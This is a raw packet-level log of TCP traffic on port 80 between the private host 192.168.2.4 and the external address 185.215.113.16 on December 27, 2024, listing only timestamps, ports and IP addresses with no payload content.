Dec 27, 2024 08:45:27.173274994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.173310995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.173851013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.174081087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.174117088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.174612999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.174714088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.174747944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.175357103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.175446987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.175484896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.176140070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.176304102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.176341057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.176815033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.176934004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.176973104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.177557945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.177572966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.177627087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.178216934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.178294897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.178350925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.178898096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.178994894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.179033041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.179653883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.179666996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.179708958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.180346012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.180521011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.180562019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.181058884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.181184053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.181221008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.181873083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.181885004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.181920052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.182490110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.182502985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.182538033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.183290005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.183310032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.183350086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.183967113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.183979988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.184015989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.184597969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.184741020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.184871912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.185456038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.225225925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.247783899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.247822046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.247867107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.247972012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.248584032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.248625040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.248879910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.248899937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.248935938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.249453068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.249568939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.249603987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.250193119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.250332117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.250369072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.250870943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.250962019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.251018047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.251576900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.251714945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.251761913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.252319098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.252382994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.252424955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.253084898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.253200054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.253236055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.253719091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.253961086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.253998995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.254501104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.254559040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.254595041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.255116940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.255232096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.255276918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.255934954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.256009102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.256047010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.256613016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.295397997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.295423985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.295509100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.295638084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.295670986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.295687914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.296292067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.296343088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.296353102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.297086954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.297099113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.297132969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.297772884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.297818899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.297826052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.298402071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.298446894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.298712969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.299159050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.299201012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.299247980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.299887896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.299901009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.299933910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.300646067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.300661087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.300698042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.301285028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.301328897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.301335096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.302050114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.302071095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.302094936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.302762032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.302776098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.302809000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.303533077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.303576946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.303595066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.304121017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.304166079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.304234982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.304933071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.304944992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.304982901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.305577040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.305622101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.305679083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.306302071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.306343079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.306436062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.307100058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.307107925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.307221889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.307734013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.307907104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.307909012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.350310087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.372488976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.372510910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.372524977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.372538090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.372648954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.372689962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.373087883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.373161077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.373205900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.373840094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.373960018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.374006987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.374505043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.374603987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.374646902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.375220060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.375341892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.375395060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.376018047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.376096964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.376143932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.376624107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.376754999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.376802921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.377409935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.377480984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.377526045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.378042936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.378242016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.378287077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.378854990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.378916979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.378962994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.379537106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.379652977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.379693985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.380186081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.380286932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.380332947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.381009102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.381021976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.381069899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.381635904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.381759882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.381808043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.382438898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.382453918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.382496119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.383228064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.419836998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.419908047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.419956923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.420175076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.420188904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.420219898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.420938969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.420984983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.421025038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.421610117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.421652079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.421696901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.422336102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.422379017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.422523022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.423060894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.423099041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.423352957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.423796892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.423810005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.423835039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.424412966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.424451113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.449084044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.449136019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.449203014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.449359894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.449476957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.449528933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.449986935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.450151920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.450190067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.450803041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.451009035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.451023102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.451067924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.451785088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.451827049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.451900005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.452353001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.452394962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.452464104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.453062057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.453095913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.453161955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.453784943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.453830004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.453869104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.454518080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.454560995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.454600096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.455210924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.455255032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.455296993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.455972910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.456017971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.456037045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.456634045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.456676006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.456748009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.457365990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.457403898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.457494020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.468770027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.496767044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.496860027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.496884108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.497205973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.497221947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.497251034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.497814894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.497853041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.497931004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.498637915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.498652935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.498677015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.499358892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.499373913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.499396086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.500045061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.500057936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.500082016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.500787020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.500798941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.500822067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.501476049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.501488924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.501516104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.502181053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.502193928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.502217054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.502851963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.502893925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.502932072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.503658056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.503671885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.503704071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.504287004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.504328012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.504363060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.504981041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.505023956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.505070925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.505685091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.505726099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.506413937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.506428003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.506479025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.507092953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.507106066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.507153034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.544400930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.544429064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.544517040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.544677019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.544696093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.544734955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.545356035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.545368910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.545397997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.573472977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.573510885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.573546886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.573705912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.573895931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.573925018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.574398041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.574528933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.574579000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.575129032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.575269938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.575305939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.575838089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.575977087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.576015949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.576576948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.576638937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.576678991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:27.577244043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.577366114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:27.577402115 CET	49744	80	192.168.2.4	185.215.113.16
